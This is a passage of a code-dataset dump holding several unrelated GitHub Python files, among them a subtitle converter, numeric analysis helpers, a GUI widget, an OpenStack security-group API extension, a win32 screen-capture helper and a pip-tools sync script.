(line[-4:2] == \"</p>\"):\n        line = line[:-4]\n    line = line.strip()\n\n# Split into block about timing, and text block.\n    tokens = line.split(\">\", 1)\n    preamble = tokens.pop(0)\n    \n# Work out times from the preamble\n    times = preamble.split(\" \")\n    t = int(times[0].strip(\"t=\").strip('\"').strip())\n    d = int(times[1].strip(\"d=\").strip('\"').strip())\n\n# The rest of the line is text.\n    text = tokens[0]\n\n# Replace some HTML entitles.\n    text = text.replace(\"&#39;\", \"'\")\n    text = text.replace(\"&quot;\", '\"')\n\n    return (str(counter) + \"\\n\" + gents(t,d) + \"\\n\" + text + \"\\n\")\n\n# Process a file.\ndef processfile(filename):\n    data = \"\"\n    xf = open(filename, 'r')\n    fail=0\n\n# read in the file and skip lines that aren't titles.\n    for line in xf:\n        k = line.strip()\n\n        # ditch bad lines\n        if k.startswith(\"<?xml\"):\n            fail = fail + 1\n        elif k.startswith(\"<body>\"):\n            fail = fail + 1\n        elif k.startswith(\"</body>\"):\n            fail = fail + 1\n        elif k.startswith(\"</timedtext>\"):\n            fail = fail + 1\n        elif k.startswith(\"<timedtext\"):\n            fail = fail + 1\n        elif k.startswith(\"<p\"):\n            data = data + \"\\n\" + k\n        else:\n            data = data + \"\\n\" + k\n        \n    xf.close()\n\n# Split the titles based on paragraphs as per YouTube XML spec.\n    titles = data.split(\"</p>\")\n\n    output = \"\"\n\n# Process the titles one at a time\n    counter = 1\n    for a in titles:\n        output = output + \"\\n\" + processline(a, counter)\n        counter = counter + 1 \n\n    return output\n\n# Our normal main.  \n# If we have an argument, convert otherwise print basic usage info.\nif __name__ == '__main__':\n    import sys\n    \n    if len(sys.argv) > 1:\n       file=sys.argv[1]\n       print(processfile(file))\n    else:\n        print(\"Usage:\\n   \" + sys.argv[0] + \" <YouTube XML subtitle file>\")\n\n    \n","repo_name":"owainkenwayucl/utils","sub_path":"src/ytsrt.py","file_name":"ytsrt.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72283474431","text":"# \n# This source file is part of the FabSim software toolkit, which is distributed under the BSD 3-Clause license. \n# Please refer to LICENSE for detailed information regarding the licensing.\n#\n# This file contains common routines used in data analysis.\n\nimport numpy as np\nfrom scipy.optimize import leastsq\n\ndef derivatives(x, y):\n  num_x = len(x);\n  deriv = np.zeros((len(x)))\n  \n  # If there for two input points, use a straight line as the derivative.\n  if num_x == 2:\n    deriv[0] = (y[1] - y[0]) / (x[1] - x[0])\n    deriv[1] = deriv[0]\n    return deriv\n\n  # Calculate the derivatives for the interior points. This loop uses\n  # a total of 6 points to calculate the derivative at any one\n  # point. And when the loop moves along in increasing array\n  # position, the same data point is used three times. So instead of\n  # reading the correct value from the array three times, just shift\n  # the values down by copying them from one variable to the next.\n  xi = 2*x[0]-x[1] # 0.0\n  xj = x[0]\n  xk = x[1]\n  yi = 2*y[0]-y[1] # 0.0\n  yj = y[0]\n  yk = y[1]\n\n  for i in xrange(1, num_x-1): \n    xi = xj\n    xj = xk\n    xk = x[i+1]\n    yi = yj\n    yj = yk\n    yk = y[i+1]\n    r1 = (xk - xj)*(xk - xj) + (yk - yj)*(yk - yj)\n    r2 = (xj - xi)*(xj - xi) + (yj - yi)*(yj - yi)\n    deriv[i] = ( (yj - yi)*r1 + (yk - yj)*r2 ) / ( (xj - xi)*r1 + (xk - xj)*r2 )\n\n  # Calculate the derivative at the first point, (x(0),y(0)).\n  slope = (y[1] - y[0]) / (x[1] - x[0])\n  if ((slope >= 0) and (slope >= deriv[1])) or ((slope <= 0) and (slope <= deriv[1])):\n    deriv[0] = 2 * slope - deriv[1]\n  else:\n    deriv[0] = slope + (abs(slope) * (slope - deriv[1])) / (abs(slope) + abs(slope - deriv[1]))\n\n  # Calculate the derivative at the last point.\n  slope = (y[num_x-1] - y[num_x-2]) / (x[num_x-1] - x[num_x-2])\n  if ((slope >= 0) and (slope >= deriv[num_x-2])) or ((slope <= 0) and (slope <= deriv[num_x-2])):\n    deriv[num_x-1] = 2 * slope - deriv[num_x-2]\n  else:\n    deriv[num_x-1] = slope + (abs(slope) * (slope - deriv[num_x-2])) / (abs(slope) + abs(slope - deriv[num_x-2]) )\n\n  return deriv \n\n\ndef get_centre_of_mass(molecule_particles, bounds):\n# calculate centre of mass of a sheet in a periodic box. \n# Becomes incorrect if any structure extends beyond 0.5 of the box size.\n  cm_rel = np.array(([0.0, 0.0, 0.0 ]))\n  rp = molecule_particles[0] #reference particle\n  \n  for p in molecule_particles:\n    \n    for i in xrange(0,3):\n      a = p[i] - rp[i]\n      if a > 0.5 * bounds[i]:\n        a = p[i] - rp[i] - bounds[i]\n      elif a < -0.5 * bounds[i]:\n        a = p[i] - rp[i] + bounds[i]\n      cm_rel[i] += a\n  \n  cm_rel = cm_rel / len(molecule_particles)  \n  cm = rp + cm_rel\n  \n  cm[0] = cm[0] %bounds[0]\n  cm[1] = cm[1] %bounds[1]\n  cm[2] = cm[2] %bounds[2]\n  \n  #print cm\n  #import sys\n  #sys.exit()\n  \n  return cm\n    \n\ndef f_min(X,p):\n    plane_xyz = p[0:3]\n    distance = (plane_xyz*X.T).sum(axis=1) + p[3]\n    return distance / np.linalg.norm(plane_xyz)  \n\ndef residuals(params, signal, X):\n    return f_min(X, params)\n    \ndef get_fitting_plane(points):\n# returns a,b,c,d in ax+by+cz+d=0. a,b,c are also the normal.\n\n  pointsT = points.transpose()\n  # Inital guess of the plane\n  diff = points[0] - points[-1]\n  \n  p0 = np.array(([diff[0], diff[1], diff[2], 1.]))\n\n  sol = leastsq(residuals, p0, args=(None, pointsT))[0]\n\n  #print \"Solution: \", sol\n  #print \"Old Error: \", (f_min(pointsT, p0)**2).sum()\n  #print \"New Error: \", (f_min(pointsT, sol)**2).sum()\n  \n  return sol\n  \n  \ndef unit_vector(vector):\n  \"\"\" Returns the unit vector of the vector.  \"\"\"\n  return vector / np.linalg.norm(vector)\n\ndef angle_between(v1, v2):\n# Returns the angle in radians between vectors 'v1' and 'v2' in radians.\n    v1_u = unit_vector(v1)\n    v2_u = unit_vector(v2)\n    angle = np.arccos(np.dot(v1_u, v2_u))\n    if np.isnan(angle):\n        if (v1_u == v2_u).all():\n            return 0.0\n        else:\n            return np.pi\n    return angle  \n","repo_name":"UCL-CCS/FabSim","sub_path":"python/lib/DataAnalysis.py","file_name":"DataAnalysis.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"22812272092","text":"# importamos las funciones de pyside6\r\nfrom unicodedata import category\r\nfrom PySide6.QtWidgets import QWidget\r\nfrom PySide6.QtCore import Qt\r\nfrom PySide6.QtGui import QPixmap\r\n# importamos las clases generalcustomUi y detail_widget de los scripts general_custom_ui y ui_maquina_detail_window \r\nfrom view.general_custom_ui import GeneralCustomUi\r\nfrom view.ui_maquina_detail_window import Detail_widget\r\n# importamos el script maquina de la carpeta database\r\nfrom database import maquina\r\n\r\n# la clase Detailwindowform contiene algunos datos extra de la maquina\r\nclass DetailWindowForm(QWidget, Detail_widget):\r\n    def __init__(self, parent=None, maquina_id=None):\r\n        super().__init__(parent)\r\n\r\n        self.maquina_id = maquina_id\r\n        print(\"en maquinas\",maquina_id)\r\n        self.setupUi(self)\r\n        self.ui = GeneralCustomUi(self)\r\n        self.setWindowFlag(Qt.Window)\r\n        self.fill_widgets()\r\n    # funcion para dar evento al click de mouse\r\n    def mousePressEvent(self, event):\r\n        self.ui.mouse_press_event(event)\r\n    # funcion para llenar los espacios vacios con datos segun el ID\r\n    def fill_widgets(self):\r\n        data = maquina.select_by_id(self.maquina_id)\r\n        title= data[1]\r\n        url = data[5]\r\n        img_path= data [4]\r\n        print(\"este si\",data)\r\n        # Establecer los datos en los labels de detalles\r\n        self.maquine_title_label.setText(title)\r\n        self.set_manual_url(url)\r\n        self.set_maquina_image(img_path)\r\n        \r\n    # funcion para que el url te mande a la pagina web\r\n    def set_manual_url(self,url):\r\n        url = f\"<a href={url}>{url}</a>\"\r\n        self.maquina_cat_label.setOpenExternalLinks(True)\r\n        self.maquina_cat_label.setText(url)\r\n    # funcion para establecer la imagen\r\n    def set_maquina_image (self, img_path):\r\n        pix_map = QPixmap(img_path)\r\n        self.maquina_pic_label.setPixmap(pix_map)\r\n        self.maquina_pic_label.setScaledContents(True)","repo_name":"Codigo-Mto/codigo_mto","sub_path":"controllers/maquina_details_window.py","file_name":"maquina_details_window.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37058388520","text":"#############################################################################################\n# SCRIPT INFORMATION\n#############################################################################################\n\n# LICENSE INFORMATION:\n# ---------------------\n# graphml_to_json.py\n# Converts a file in GraphML format to a json format compatible with the design dependency visualisation tool \n# Authors: Jérémy Bonvoisin\n# License:  Apache License, Version 2.0, January 2004, http://www.apache.org/licenses/\n\n# PREREQUISITES: \n# ---------------\n# - read and write access in the current directory\n# - non standard libraries (install with \"pip install <libraryName>\"):\n#   . NetworkX (https://networkx.github.io/documentation/stable/reference/index.html)\n\n# ARGUMENTS:\n# -----------\n# Mandatory: \"-i\" followed by the path of the file to be processed\n\nimport getopt\nimport networkx as nx\nimport sys\nimport pdb\nimport os\n\n\n# read command arguments\nfilename = \"\"\ntry:\n\toptions, remainder = getopt.getopt(sys.argv[1:], 'i:')\n\tfor opt, arg in options:\n\t\tif opt == \"-i\":\n\t\t\tfilename = arg\nexcept getopt.GetoptError as err:\n\tprint(str(err))\n\tsys.exit(2)\nif filename == \"\":\n\tprint (\"error: no reference of the file to be converted has been given. please use option '-i <filename>'\")\n\t\n# open graphml file\nnxGraph = nx.read_graphml(filename)\n\n# parse nodes\nindex = 0\nnodeListGraphml = nxGraph.nodes(data=True)\nnumberOfNodes = len(nodeListGraphml)\nnodeRefDict = {}\nnodeListJson = []\nprint (str(numberOfNodes) + \" nodes found\")\nfor node in nodeListGraphml:\n\tnodeRefDict[node[0]] = index\n\ttry:\n\t\tlabel = node[1]['label']\n\texcept KeyError as err:\n\t\tprint (\"error : node \" +str(index)+ \" has no label: \" + str(node))\n\t\tprint(str(err))\n\t\tsys.exit(2)\n\tif 'description' in node[1]:\n\t\tdescription = node[1]['description']\n\telse:\n\t\tdescription = \"\"\n\tnodeDict = {}\n\tnodeDict['id'] = index\n\tnodeDict['label'] = label.replace('\"', '*')\n\tnodeDict['description'] = description.replace('\"', '*')\n\tnodeDict['shape'] = \"ellipse\"\n\tnodeDict['color'] = \"rgba(80,80,80,0.6)\"\n\tnodeDict['tags'] = []\n\tnodeListJson.append(nodeDict)\n\tindex += 1\n\n# parse edges\nindex = 0\nedgeListJson = []\nedgeListGraphML = nxGraph.edges(data=True)\nnumberOfEdges = len(edgeListGraphML)\nprint (str(numberOfEdges) + \" edges found\")\nfor edge in edgeListGraphML:\n\tsource = edge[0]\n\ttarget = edge[1]\n\tedgeDict = {}\n\tedgeDict['id'] = index\n\tedgeDict['from'] = nodeRefDict[source]\n\tedgeDict['to'] = nodeRefDict[target]\n\tedgeDict['label'] = \"+\"\n\tedgeListJson.append(edgeDict)\n\tindex += 1\n\t\n# export JSON\njsonDict = {}\njsonDict['nodes'] = nodeListJson\njsonDict['edges'] = edgeListJson\n\noutputFileName = os.path.splitext(filename)[0]+'.json'\nwith open(outputFileName, 'w') as output:\n\toutput.write(str(jsonDict).replace(\"'\", '\"'))\n\nprint (outputFileName+\" extracted successfully\")","repo_name":"jbon/design-dependencies","sub_path":"util/graphml_to_json.py","file_name":"graphml_to_json.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21465472487","text":"'''\nCreated on Apr 16, 2021\n\n@author: yann\n\nModule that correctly sets up the environment's variables before really going into it.\n'''\n\nimport os\nimport sys\nimport nltk\n\nMODULES_PATHS = [r\"/controller\",\n                 r\"/model\",\n                 r\"/model/analysis\",\n                 r\"/model/local_io\",\n                 r\"/model/data_extraction\",\n                 r\"/view\",\n                 r\"/setup\"]\n\nif getattr(sys, 'frozen', False):\n    # If the application is run as a bundle, the PyInstaller bootloader\n    # extends the sys module by a flag frozen=True and sets the app\n    # path into variable _MEIPASS'.\n    APPLICATION_PATH = sys._MEIPASS\nelse:\n    APPLICATION_PATH = os.path.dirname(os.path.abspath(__file__))\n\nif APPLICATION_PATH:\n    print(\"cwd: \" + APPLICATION_PATH)\n    os.chdir(APPLICATION_PATH)\n\nfor rel_path in MODULES_PATHS:  # correctly adds our modules to be PYTHONPATH\n    abs_path = APPLICATION_PATH + rel_path\n    if abs_path not in sys.path:\n        sys.path.append(abs_path)\n\nnltk_files = [(r\"tokenizers/punkt\", 'punkt'),\n              (r\"corpora/stopwords\", 'stopwords'),\n              (r\"corpora/movie_reviews\", 'movie_reviews'),\n              (r\"corpora/twitter_samples\", 'twitter_samples')]\n\nfor nltk_file in nltk_files:  #  if files are missing because the user has not dowloaded them yet\n    location, name = nltk_file\n    try:\n        nltk.data.find(location)\n    except LookupError:\n        nltk.download(name)\n","repo_name":"yanntrividic/sentiment-analysis-twitter-imdb-csv","sub_path":"src/_init.py","file_name":"_init.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18768193345","text":"def arithmetic_arranger(problems, showResult=False):\n\n    formatted_operations = \"\"\n\n    first_line = \"\"\n    second_line = \"\"\n    third_line = \"\"\n    fourth_line = \"\"\n\n    if(len(problems) > 5):\n        return \"Error: Too many problems.\"\n\n    for index, problem in enumerate(problems):\n        splited_problem = problem.split()\n        first_number, second_number = splited_problem[0], splited_problem[2]\n        operator = splited_problem[1]\n\n        try:\n            int(first_number)\n            int(second_number)\n        except:\n            return \"Error: Numbers must only contain digits.\"\n\n        if operator != \"+\" and operator != \"-\":\n            return(f\"Error: Operator must be '+' or '-'.\")\n\n        if len(first_number) > 4 or len(second_number) > 4:\n            return \"Error: Numbers cannot be more than four digits.\"\n\n        separator_number = max([len(first_number), len(second_number)]) + 2\n        if index + 1 < len(problems):\n            third_line += (\"-\" * separator_number) + \"    \"\n            first_line += f\"{' '* (separator_number - len(first_number))}{first_number}    \"\n            second_line += f\"{operator}{' ' * (((separator_number - len(second_number)))-1)}{second_number}    \"\n        else:\n            third_line += (\"-\" * separator_number)\n            first_line += f\"{' '* (separator_number - len(first_number))}{first_number}\"\n            second_line += f\"{operator}{' ' * (((separator_number - len(second_number)))-1)}{second_number}\"\n\n        formatted_operations = f\"{first_line}\\n{second_line}\\n{third_line}\"\n\n        if showResult:\n            mayor = max([len(first_number), len(second_number)])\n            result = 0\n            if operator == \"+\":\n                result = int(first_number) + int(second_number)\n            else:\n                result = int(first_number) - int(second_number)\n\n            if index + 1 < len(problems):\n                if result < 0:\n                    fourth_line += f\"{' ' * (((separator_number - mayor))-1)}{result}    \"\n                else:\n                    fourth_line += f\"{' ' * ((separator_number - mayor))}{result}    \"\n            else:\n                fourth_line += f\"{' ' * ((separator_number - mayor)-1)}{result}\"\n\n            formatted_operations += f\"\\n{fourth_line}\"\n\n    return formatted_operations\n\n\n# print(arithmetic_arranger([\"32 + 698\", \"3801 - 2\", \"45 + 43\", \"123 + 49\"]))\n# print(arithmetic_arranger(\n#     [\"32 + 8\", \"1 - 3801\", \"9999 + 9999\", \"523 - 49\"], True))\n\n# print(arithmetic_arranger([\"3801 - 2\", \"123 + 49\"]))\n\n# print(arithmetic_arranger(['3 + 855', '988 + 40'], True))\n\n# print(arithmetic_arranger(['32 - 698', '1 - 3801',\n#       '45 + 43', '123 + 49', '988 + 40'], True))\n","repo_name":"Robertron624/FCC-python-computing","sub_path":"Arithmetic Formatter/arithmetic_calculator.py","file_name":"arithmetic_calculator.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33063170926","text":"from abc import abstractmethod\n\nfrom quantum.api.v2 import attributes as attr\nfrom quantum.api.v2 import base\nfrom quantum.common import exceptions as qexception\nfrom quantum.extensions import extensions\nfrom quantum import manager\nfrom quantum.openstack.common import cfg\nfrom quantum import quota\n\n\n# Security group Exceptions\nclass SecurityGroupAlreadyExists(qexception.InUse):\n    # This can only happen if the external_id database is cleared\n    message = _(\"Security group %(name)s id %(external_id)s already exists\")\n\n\nclass SecurityGroupInvalidProtocolType(qexception.InvalidInput):\n    message = _(\"Invalid protocol type %(value)s\")\n\n\nclass SecurityGroupInvalidEtherType(qexception.InvalidInput):\n    message = _(\"Invalid/Unsupported ethertype %(value)s\")\n\n\nclass SecurityGroupInvalidPortRange(qexception.InvalidInput):\n    message = _(\"For TCP/UDP protocols, port_range_min must be \"\n                \"<= port_range_max\")\n\n\nclass SecurityGroupInvalidPortValue(qexception.InvalidInput):\n    message = _(\"Invalid value for port %(port)s\")\n\n\nclass SecurityGroupInUse(qexception.InUse):\n    message = _(\"Security Group %(id)s in use.\")\n\n\nclass SecurityGroupCannotRemoveDefault(qexception.InUse):\n    message = _(\"Removing default security group not allowed.\")\n\n\nclass SecurityGroupDefaultAlreadyExists(qexception.InUse):\n    message = _(\"Default security group already exists.\")\n\n\nclass SecurityGroupRuleInvalidProtocol(qexception.InUse):\n    message = _(\"Security group rule protocol %(protocol)s not supported \"\n                \"only protocol values %(values)s supported.\")\n\n\nclass SecurityGroupRulesNotSingleTenant(qexception.InvalidInput):\n    message = _(\"Multiple tenant_ids in bulk security group rule create\"\n                \" not allowed\")\n\n\nclass SecurityGroupSourceGroupAndIpPrefix(qexception.InvalidInput):\n    message = _(\"Only source_ip_prefix or source_group_id may \"\n                \"be provided.\")\n\n\nclass SecurityGroupProtocolRequiredWithPorts(qexception.InvalidInput):\n    message = _(\"Must also specifiy protocol if port range is given.\")\n\n\nclass SecurityGroupNotSingleGroupRules(qexception.InvalidInput):\n    message = _(\"Only allowed to update rules for \"\n                \"one security profile at a time\")\n\n\nclass SecurityGroupSourceGroupNotFound(qexception.NotFound):\n    message = _(\"source group id %(id)s does not exist\")\n\n\nclass SecurityGroupNotFound(qexception.NotFound):\n    message = _(\"Security group %(id)s does not exist\")\n\n\nclass SecurityGroupRuleNotFound(qexception.NotFound):\n    message = _(\"Security group rule %(id)s does not exist\")\n\n\nclass DuplicateSecurityGroupRuleInPost(qexception.InUse):\n    message = _(\"Duplicate Security Group Rule in POST.\")\n\n\nclass SecurityGroupRuleExists(qexception.InUse):\n    message = _(\"Security group rule exists %(rule)s\")\n\n\nclass SecurityGroupProxyMode(qexception.InUse):\n    message = _(\"Did not recieve external id and in proxy mode\")\n\n\nclass SecurityGroupNotProxyMode(qexception.InUse):\n    message = _(\"Recieve external id and not in proxy mode\")\n\n\nclass SecurityGroupProxyModeNotAdmin(qexception.InvalidExtenstionEnv):\n    message = _(\"In Proxy Mode and not from admin\")\n\n\nclass SecurityGroupInvalidExternalID(qexception.InvalidInput):\n    message = _(\"external_id wrong type %(data)s\")\n\n\ndef convert_validate_port_value(port):\n    if port is None:\n        return port\n    try:\n        val = int(port)\n    except (ValueError, TypeError):\n        raise SecurityGroupInvalidPortValue(port=port)\n\n    if val >= 0 and val <= 65535:\n        return val\n    else:\n        raise SecurityGroupInvalidPortValue(port=port)\n\n\ndef _validate_name_not_default(data, valid_values=None):\n    if not cfg.CONF.SECURITYGROUP.proxy_mode and data == \"default\":\n        raise SecurityGroupDefaultAlreadyExists()\n\n\ndef _validate_external_id_and_mode(external_id, valid_values=None):\n    if not cfg.CONF.SECURITYGROUP.proxy_mode and not external_id:\n        return\n    elif not cfg.CONF.SECURITYGROUP.proxy_mode and external_id:\n        raise SecurityGroupNotProxyMode()\n    try:\n        int(external_id)\n    except (ValueError, TypeError):\n        raise SecurityGroupInvalidExternalID(data=external_id)\n    if cfg.CONF.SECURITYGROUP.proxy_mode and not external_id:\n        raise SecurityGroupProxyMode()\n\nattr.validators['type:name_not_default'] = _validate_name_not_default\nattr.validators['type:external_id_and_mode'] = _validate_external_id_and_mode\n\n# Attribute Map\nRESOURCE_ATTRIBUTE_MAP = {\n    'security_groups': {\n        'id': {'allow_post': False, 'allow_put': False,\n               'validate': {'type:regex': attr.UUID_PATTERN},\n               'is_visible': True},\n        'name': {'allow_post': True, 'allow_put': False,\n                 'is_visible': True, 'default': '',\n                 'validate': {'type:name_not_default': None}},\n        'description': {'allow_post': True, 'allow_put': False,\n                        'is_visible': True, 'default': ''},\n        'external_id': {'allow_post': True, 'allow_put': False,\n                        'is_visible': True, 'default': None,\n                        'validate': {'type:external_id_and_mode': None}},\n        'tenant_id': {'allow_post': True, 'allow_put': False,\n                      'required_by_policy': True,\n                      'is_visible': True},\n    },\n    'security_group_rules': {\n        'id': {'allow_post': False, 'allow_put': False,\n               'validate': {'type:regex': attr.UUID_PATTERN},\n               'is_visible': True},\n        # external_id can be used to be backwards compatible with nova\n        'external_id': {'allow_post': True, 'allow_put': False,\n                        'is_visible': True, 'default': None,\n                        'validate': {'type:external_id_and_mode': None}},\n        'security_group_id': {'allow_post': True, 'allow_put': False,\n                              'is_visible': True, 'required_by_policy': True},\n        'source_group_id': {'allow_post': True, 'allow_put': False,\n                            'default': None, 'is_visible': True},\n        'direction': {'allow_post': True, 'allow_put': True,\n                      'is_visible': True,\n                      'validate': {'type:values': ['ingress', 'egress']}},\n        'protocol': {'allow_post': True, 'allow_put': False,\n                     'is_visible': True, 'default': None},\n        'port_range_min': {'allow_post': True, 'allow_put': False,\n                           'convert_to': convert_validate_port_value,\n                           'default': None, 'is_visible': True},\n        'port_range_max': {'allow_post': True, 'allow_put': False,\n                           'convert_to': convert_validate_port_value,\n                           'default': None, 'is_visible': True},\n        'ethertype': {'allow_post': True, 'allow_put': False,\n                      'is_visible': True, 'default': 'IPv4'},\n        'source_ip_prefix': {'allow_post': True, 'allow_put': False,\n                             'default': None, 'is_visible': True},\n        'tenant_id': {'allow_post': True, 'allow_put': False,\n                      'required_by_policy': True,\n                      'is_visible': True},\n    }\n}\n\n\nSECURITYGROUP = 'security_groups'\nEXTENDED_ATTRIBUTES_2_0 = {\n    'ports': {SECURITYGROUP: {'allow_post': True,\n                              'allow_put': True,\n                              'is_visible': True,\n                              'default': None}}}\nsecurity_group_quota_opts = [\n    cfg.IntOpt('quota_security_group',\n               default=10,\n               help='number of security groups allowed per tenant,'\n                    '-1 for unlimited'),\n    cfg.IntOpt('quota_security_group_rule',\n               default=100,\n               help='number of security rules allowed per tenant, '\n                    '-1 for unlimited'),\n]\ncfg.CONF.register_opts(security_group_quota_opts, 'QUOTAS')\n\nsecurity_group_opts = [\n    cfg.StrOpt('proxy_mode', default=False)\n]\ncfg.CONF.register_opts(security_group_opts, 'SECURITYGROUP')\n\n\nclass Securitygroup(object):\n    \"\"\" Security group extension\"\"\"\n\n    @classmethod\n    def get_name(cls):\n        return \"security-group\"\n\n    @classmethod\n    def get_alias(cls):\n        return \"security-group\"\n\n    @classmethod\n    def get_description(cls):\n        return \"The security groups extension.\"\n\n    @classmethod\n    def get_namespace(cls):\n        # todo\n        return \"http://docs.openstack.org/ext/securitygroups/api/v2.0\"\n\n    @classmethod\n    def get_updated(cls):\n        return \"2012-10-05T10:00:00-00:00\"\n\n    @classmethod\n    def get_resources(cls):\n        \"\"\" Returns Ext Resources \"\"\"\n        exts = []\n        plugin = manager.QuantumManager.get_plugin()\n        for resource_name in ['security_group', 'security_group_rule']:\n            collection_name = resource_name.replace('_', '-') + \"s\"\n            params = RESOURCE_ATTRIBUTE_MAP.get(resource_name + \"s\", dict())\n            quota.QUOTAS.register_resource_by_name(resource_name)\n            controller = base.create_resource(collection_name,\n                                              resource_name,\n                                              plugin, params, allow_bulk=True)\n\n            ex = extensions.ResourceExtension(collection_name,\n                                              controller)\n            exts.append(ex)\n\n        return exts\n\n    def get_extended_resources(self, version):\n        if version == \"2.0\":\n            return EXTENDED_ATTRIBUTES_2_0\n        else:\n            return {}\n\n\nclass SecurityGroupPluginBase(object):\n    @abstractmethod\n    def create_security_group(self, context, security_group):\n        pass\n\n    @abstractmethod\n    def delete_security_group(self, context, security_group):\n        pass\n\n    @abstractmethod\n    def update_security_group(self, context, security_group):\n        pass\n\n    @abstractmethod\n    def get_security_groups(self, context, filters=None, fields=None):\n        pass\n\n    @abstractmethod\n    def get_security_group(self, context, id, fields=None):\n        pass\n\n    @abstractmethod\n    def create_security_group_rule(self, context, security_group_rule):\n        pass\n\n    @abstractmethod\n    def delete_security_group_rule(self, context, sgrid):\n        pass\n\n    @abstractmethod\n    def get_security_group_rules(self, context, filters=None, fields=None):\n        pass\n\n    @abstractmethod\n    def get_security_group_rule(self, context, id, fields=None):\n        pass\n","repo_name":"ruijie/quantum","sub_path":"quantum/extensions/securitygroup.py","file_name":"securitygroup.py","file_ext":"py","file_size_in_byte":10429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"26776369146","text":"import cv2\r\nimport numpy as np\r\nimport win32gui\r\nimport win32ui\r\nimport win32con\r\nimport win32api\r\n\r\ndef get_fullscreen_size():\r\n    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\r\n    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\r\n    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\r\n    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\r\n    return left, top, width, height\r\n\r\n\r\ndef get_hwnd(target=None, class_=None):\r\n    return win32gui.FindWindow(class_, target)\r\n\r\n\r\ndef get_window_size(hWnd):\r\n    if hWnd is 0:\r\n        return None, None, None, None\r\n    left, top, right, bot = win32gui.GetWindowRect(hWnd)\r\n    width = right - left\r\n    height = bot - top\r\n    return left, top, width, height\r\n\r\n\r\ndef capture_app_win32(hWnd):\r\n    if hWnd == 0:\r\n        return None, None, None, None, None\r\n    left, top, width, height = get_window_size(hWnd)\r\n    hWndDC = win32gui.GetWindowDC(hWnd)\r\n    mfcDC = win32ui.CreateDCFromHandle(hWndDC)\r\n    saveDC = mfcDC.CreateCompatibleDC()\r\n    saveBitMap = win32ui.CreateBitmap()\r\n    saveBitMap.CreateCompatibleBitmap(mfcDC, width, height)\r\n    saveDC.SelectObject(saveBitMap)\r\n    saveDC.BitBlt((0, 0), (width, height), mfcDC, (0, 0), win32con.SRCCOPY)\r\n    signedIntsArray = saveBitMap.GetBitmapBits(True)\r\n    img = np.fromstring(signedIntsArray, dtype='uint8')\r\n    img.shape = (height, width, 4)\r\n    scs_img = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR)\r\n    win32gui.DeleteObject(saveBitMap.GetHandle())\r\n    saveDC.DeleteDC()\r\n    mfcDC.DeleteDC()\r\n    win32gui.ReleaseDC(hWnd, hWndDC)\r\n    return scs_img, left, top, width, height","repo_name":"wqy224491/MSR-GAMING-ASSISTANT","sub_path":"capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39031204768","text":"import axelrod as axl\n\ntrainer = axl.DQN()\n\ndef play_with(opp, num):\n    players = [opp, trainer]\n    match = axl.Match(players, 200)\n    trainer.receive_match_attributes()\n    for i in range(num):\n        match.play()\n        print (trainer.replay_memory)\n\ntemp = axl.CyclerDC()\nplay_with(temp, 1)\ntemp = axl.TitForTats()\nplay_with(temp, 30)\n\n\n#players = [axl.AntiTitForTat(),\n#           axl.DQN_tester(),                   \n#           axl.Alternator(),                    \n#           axl.TitForTat(),                 \n#           axl.Bully(),                         \n#           axl.Cooperator(),                    \n#           axl.CyclerDC(),                      \n#           axl.Defector(),                      \n#           axl.SuspiciousTitForTat()]            \n\n#turns = 200\n#tournament = axl.Tournament(players, turns=turns, repetitions=1, seed=75)\n#results = tournament.play()\n#for average_score_per_turn in results.payoff_matrix[-2]:\n#    print(round(average_score_per_turn, 3))","repo_name":"wogjs3503/axelrod_DQN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2934858724","text":"import argparse\nfrom pip._internal.commands import create_command\n\n# Depending on the version of pip/pip-tools this has a different name.\ntry:\n    from pip._internal.utils.misc import get_installed_distributions\n    get_installed_dists = get_installed_distributions\nexcept ImportError:\n    from piptools.scripts.sync import _get_installed_distributions\n    get_installed_dists = _get_installed_distributions\n\nfrom piptools import sync\nfrom piptools._compat.pip_compat import parse_requirements\n\ndef main(requirements):\n    \"\"\" Get installed pip packages, compare them to the passed packages `requirements` file,\n        install missing packages, uninstall packages not needed anymore\n    \"\"\"    \n    install_command = create_command(\"install\")\n    options, _ = install_command.parse_args([])\n    session = install_command._build_session(options)\n    finder = install_command._build_package_finder(options=options, session=session)\n\n    requirements = parse_requirements(args.requirement_file, finder=finder, session=session)\n    \n    installed_dists = get_installed_dists(paths=[args.site_path])\n    to_install, to_uninstall = sync.diff(requirements, installed_dists)\n    sync.sync(to_install, to_uninstall)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('requirement_file', help='requirements.txt file')\n    # Don't pick up the system pacakges, only the ones in *our* site packages\n    parser.add_argument('site_path', help='path to the isolated site-packages')\n    args = parser.parse_args()\n\n    